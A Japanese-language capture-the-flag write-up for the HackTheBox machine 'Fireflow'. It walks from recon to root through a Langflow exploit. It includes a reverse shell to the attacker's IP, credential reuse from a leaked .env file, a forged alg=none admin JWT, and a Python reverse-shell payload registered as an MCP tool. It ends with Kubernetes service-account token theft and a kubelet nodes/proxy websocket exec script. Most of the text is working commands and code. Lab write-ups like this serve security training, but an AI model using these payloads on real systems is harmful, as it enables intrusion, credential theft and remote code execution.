概要
HackTheBox「Fireflow」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sCV -T4 -p- 10.129.20.180 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
443/tcp open ssl/http nginx
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://fireflow.htb/
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
| Not valid before: 2026-04-14T16:35:31
|_Not valid after: 2028-07-17T16:35:31
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 9.6p1 |
| 443 | https | nginx |
fireflow.htbにアクセスできました。
サブドメイン列挙をします。
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.fireflow.htb" -u https://fireflow.htb -fs 162
flow [Status: 200, Size: 1142, Words: 132, Lines: 25, Duration: 124ms]
サブドメインにもアクセスできました。
サブドメインのディレクトリスキャンをします。
$ dirsearch -u https://flow.fireflow.htb
[14:32:46] 200 - 1007B - /docs
[14:32:51] 200 - 6KB - /favicon.ico
[14:32:56] 200 - 15B - /health
[14:33:09] 403 - 51B - /logs
[14:33:11] 200 - 768B - /manifest.json
[14:33:18] 200 - 142KB - /openapi.json
[14:33:30] 200 - 889B - /redoc
/manifest.jsonを確認しました。
Langflowを使用していると分かりました。
脆弱性を検索すると、cve-2026-33017がヒットしました。
POCは以下リポジトリを使用します。
POCを実行します。
$ python exploit.py --url https://flow.fireflow.htb/ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.17.186 --lport 1234
リバースシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.17.186] from (UNKNOWN) [10.129.20.180] 42796
bash: cannot set terminal process group (1491): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fireflow:/var/lib/langflow$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
TTYの設定をします。
$ python3 -c "import pty;pty.spawn('/bin/bash')"
langflowの設定ファイルを確認します。
スーパーユーザのパスワードを入手しました。
www-data@fireflow:/etc/langflow$ cat .env
cat .env
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_CONFIG_DIR=/var/lib/langflow
LANGFLOW_LOG_LEVEL=warning
LANGFLOW_NEW_USER_IS_ACTIVE=False
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb
Username:nightfall,Password:n1ghtm4r3_b4_n1ghtf4llでSSH接続に成功しました。
$ ssh nightfall@fireflow.htb
nightfall@fireflow:~$
ユーザフラグを入手できました。
$ cat user.txt
3db82929909680fbf3ea88030653e4d3
Root Flag
.mcp/config.jsonを確認すると、MCPサーバの設定を確認できました。
nightfall@fireflow:~$ cat .mcp/config.json
{
"server": "http://10.129.20.180:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}
SSHでポートフォワーディングをします。
$ ssh -L 30080:127.0.0.1:30080 nightfall@fireflow.htb
/api/v1/versionにアクセスします。
APIエンドポイント、JWT認証が使用されておりアルゴリズムnoneが使用できることも分かりました。
$ curl -s http://10.129.20.180:30080/api/v1/version | python3 -m json.tool
{
"service": "MCP AI Tool Registry",
"version": "0.1.0",
"auth": {
"type": "JWT",
"header": "Authorization: Bearer <token>",
"supported_algorithms": [
"HS256",
"none"
]
},
"docs": "/docs",
"endpoints": [
"POST /mcp [MCP JSON-RPC 2.0]",
"POST /api/v1/auth",
"GET /api/v1/tools",
"POST /api/v1/tools [admin]"
]
}
/docsにアクセスするとSwaggerが用意されています。
/api/v1/authにアクセスし、JWTを発行します。
$ curl -X POST -s http://10.129.20.180:30080/api/v1/auth -H 'Content-Type: application/json' -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}' | python3 -m json.tool
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps",
"token_type": "bearer"
}
JWTをデコードし、アルゴリズムをnoneに、roleをadminに変更したJWTを使用します。
/api/v1/toolsを使用し、実行コマンドを登録します。
$ curl -X POST -s http://10.129.20.180:30080/api/v1/tools -H 'Content-Type: application/json' -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." -d '{"name": "shell","description": "shell","inputSchema": {"additionalProp1": {}},"code": "import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.17.186\",9001))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"}'
{"status":"registered","name":"shell"}
MCPサーバとの通信はJSON-RPCを使用します。
$ curl -X POST http://10.129.20.180:30080/mcp -H 'Cmcp application/json' -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'
{"jsonrpc":"2.0","id":4,"result":{"content":[{"type":"text","text":""}],"isError":false}}
登録したコマンドを呼び出すとリバースシェルを取得できました。
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.17.186] from (UNKNOWN) [10.129.20.180] 55406
$ id
id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
ディレクトリ構成などからkubernetes環境にいることが分かります。
$ pwd
pwd
/run/secrets/kubernetes.io/serviceaccount
$ ls -la
ls -la
total 4
drwxrwxrwt 3 root root 140 Sep 19 21:13 .
drwxr-xr-x 3 root root 4096 Sep 19 17:58 ..
drwxr-xr-x 2 root root 100 Sep 19 21:13 ..2026_09_19_21_13_11.1624109364
lrwxrwxrwx 1 root root 32 Sep 19 21:13 ..data -> ..2026_09_19_21_13_11.1624109364
lrwxrwxrwx 1 root root 13 Sep 19 17:57 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Sep 19 17:57 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Sep 19 17:57 token -> ..data/token
tokenから認証トークンを取得出来ました。
$ cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3JrSUpadmdid19HcHBTRTBYUFJZWUxqeGcxUHJIaFJjTEVSdm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODIxNDE3NDg2LCJpYXQiOjE3ODk4ODE0ODYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiZDg5OWRlNmYtMDllYS00ODY5LThkNzYtNDA3MDhkOGU0ZWE3Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZmlyZWZsb3ciLCJ1aWQiOiI4NzI5MTU4OC0wMTc4LTRlNDItYTk5OC00MWE1MmZhNzNiOGUifSwicG9kIjp7Im5hbWUiOiJtY3Atc2VydmVyLTU0NDY0Y2I0NzUtMjl6dGYiLCJ1aWQiOiI3MDJhZmViYi00ZjUxLTRlZDUtYWE5OC1hYjZiMjU1M2E3MjgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Im1jcC1zYSIsInVpZCI6ImE1MzRmNTUxLWIyYjEtNGU2Ni1iZGE1LWU5YjVlMmE1NjAyYyJ9LCJ3YXJuYWZ0ZXIiOjE3ODk4ODUwOTN9LCJuYmYiOjE3ODk4ODE0ODYsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0Om1jcC1zYSJ9.dCsMcRC9dTNMVETt21loTsnrdVHsUzvN-ld3mH3oqqfHfrrfk4Mk-QVtvE6OJRWdmMxttxqMqbMtezgcg1S0TRCNbByqIsoX9ss5whCKvCpSwvSmMAs3D0tpghI7Jk3rMCPeoNpkBTUPSnR_JThsjcfltMkd0qRVvrnCztV1q_mMxhR-fnmtA0hXWyaBbw_nKRizDLIhwfmGgSndsEiUjcH8CzMii6rAf3oZPv35sec3vcSBoKB6FXIVp-mEFekUXatQqxMNe9nEJU5tXbMFieqyjAZ474rILKIGxZuapmJ7S_PGjwK0m-4yn5yaUlw4Yi22XMRDDW2ZHbMGonfODg
環境変数を確認することで、MCPサーバやKubernetesサーバなどのIPとポートが分かりました。
$ env
KUBERNETES_SERVICE_PORT_HTTPS=443
PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625
KUBERNETES_SERVICE_PORT=443
HOSTNAME=mcp-server-54464cb475-29ztf
PYTHON_VERSION=3.11.15
PWD=/run/secrets/kubernetes.io/serviceaccount
MCP_SERVER_SERVICE_HOST=10.43.250.195
MCP_SERVER_SERVICE_PORT=8080
HOME=/home/mcp
MCP_SERVER_PORT_8080_TCP_PROTO=tcp
LANG=C.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
LS_COLORS=
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
MCP_SERVER_PORT_8080_TCP_PORT=8080
MCP_SERVER_PORT_8080_TCP_ADDR=10.43.250.195
SHLVL=1
MCP_SERVER_PORT=tcp://10.43.250.195:8080
KUBERNETES_PORT_443_TCP_PROTO=tcp
MCP_SERVER_SERVICE_PORT_HTTP=8080
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
MCP_SERVER_PORT_8080_TCP=tcp://10.43.250.195:8080
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
OLDPWD=/run/secrets/kubernetes.io
アカウントに紐づけられている権限を確認します。
$ curl -sk -X POST "https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Authorization: Bearer $(cat token)" \
-H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {},
"spec": {},
"status": {
"resourceRules": [
{
"verbs": [
"get"
],
"apiGroups": [
""
],
"resources": [
"nodes/proxy"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authentication.k8s.io"
],
"resources": [
"selfsubjectreviews"
]
}
],
"nonResourceRules": [
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/.well-known/openid-configuration",
"/.well-known/openid-configuration/",
"/openid/v1/jwks",
"/openid/v1/jwks/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
}
],
"incomplete": false
}
}
nodes/proxyに対してGETリクエストの権限があると分かりました。
この権限があると各ノードの管理エージェントへ、GET リクエストを送れます。
それにより、管理エージェントが持っている内部情報を覗き見ることが可能になります。
{
"verbs": ["get"],
"apiGroups": [""],
"resources": ["nodes/proxy"]
}
エクスプロイトに必要なnamespace,pod名,コンテナ名を/prodsエンドポイントから収集します。
$ curl -sk -X GET "https://10.129.20.202:10250/pods" -H "Authorization: Bearer $TOKEN" \
| tr -d ' \n\r' \
| sed 's/"metadata":{/\n/g' \
| grep '"privileged":true' \
| grep -oP '^.*?"spec":{' \
| grep -oP '"(name|namespace)":"\K[^"]+' \
| awk 'NR==1{print "NE_POD = " $0} NR==2{print "NE_NS = " $0} NR==3{print "NE_CNT = " $0}'
NE_POD = prometheus-prometheus-node-exporter-nmntq
NE_NS = monitoring
NE_CNT = prometheus-prometheus-node-exporter
技術ブログにあるような、以下実行コマンドをpythonで実行します。
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
#!/usr/bin/env python3
import asyncio, ssl, sys, websockets
NODE = "10.129.20.202"
NE_NS = "monitoring"
NE_POD = "prometheus-prometheus-node-exporter-nmntq"
NE_CNT = "node-exporter"
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'
async def ws_exec(cmd_parts):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
args = "&".join(f"command={part}" for part in cmd_parts)
url = (f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}"
f"?output=1&error=1&{args}")
async with websockets.connect(url, ssl=ctx,additional_headers={"Authorization": f"Bearer {TOKEN}"},subprotocols=["v4.channel.k8s.io"],open_timeout=10) as ws:
try:
while True:
data = await asyncio.wait_for(ws.recv(), timeout=5)
if isinstance(data, bytes) and len(data) > 1:
sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
sys.stdout.flush()
except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
pass
asyncio.run(ws_exec(COMMAND.split()))
ルートフラグを入手できました。
$ python3 exploit.py "cat /host/root/root/root.txt"
794737507d945caa1af01280b727f84c




